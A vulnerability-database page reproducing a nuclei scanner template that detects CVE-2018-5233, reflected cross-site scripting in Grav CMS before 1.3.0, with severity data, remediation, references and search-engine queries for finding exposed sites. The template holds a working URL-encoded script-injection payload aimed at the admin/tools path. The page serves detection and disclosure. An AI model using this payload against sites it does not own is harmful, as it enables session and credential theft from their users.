Lucene search
+L

Grav CMS <1.3.0 - Cross-Site Scripting

🗓️ 15 Aug 2026 02:21:45Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 52 Views

Grav CMS <1.3.0 - Cross-Site Scripting vulnerability allows remote code injection via PATH_INFO to admin/tools

Related
Refs
Code
id: CVE-2018-5233

info:
  name: Grav CMS <1.3.0 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Grav CMS before 1.3.0 is vulnerable to cross-site scripting via system/src/Grav/Common/Twig/Twig.php and allows remote attackers to inject arbitrary web script or HTML via the PATH_INFO to admin/tools.
  impact: |
    Attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, administrative credentials, or performing actions on behalf of authenticated users.
  remediation: |
    Upgrade Grav CMS to version 1.3.0 or later, which includes proper input sanitization to mitigate the XSS vulnerability.
  reference:
    - https://sysdream.com/news/lab/2018-03-15-cve-2018-5233-grav-cms-admin-plugin-reflected-cross-site-scripting-xss-vulnerability/
    - http://www.openwall.com/lists/oss-security/2018/03/15/1
    - https://nvd.nist.gov/vuln/detail/CVE-2018-5233
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-5233
    cwe-id: CWE-79
    epss-score: 0.03349
    epss-percentile: 0.87612
    cpe: cpe:2.3:a:getgrav:grav_cms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: getgrav
    product: grav_cms
    shodan-query:
      - html:"Grav CMS"
      - http.html:"grav cms"
    fofa-query: body="grav cms"
  tags: cve,cve2018,xss,grav,getgrav,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin/tools/a--%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: body
        words:
          - '/themes/grav'
          - 'Grav Admin Login'
          - 'data-grav-'
        condition: or

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402207a23c6d7be265bccf3615238e63e77b6ed6edfc1f10c15e7278a143cf71b6b8702202d96e723e24195d5e17e5542493aa64e9fc33bc016a7c612e5779602f6e052cc:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 24.3
CVSS 36.1
EPSS0.03349
52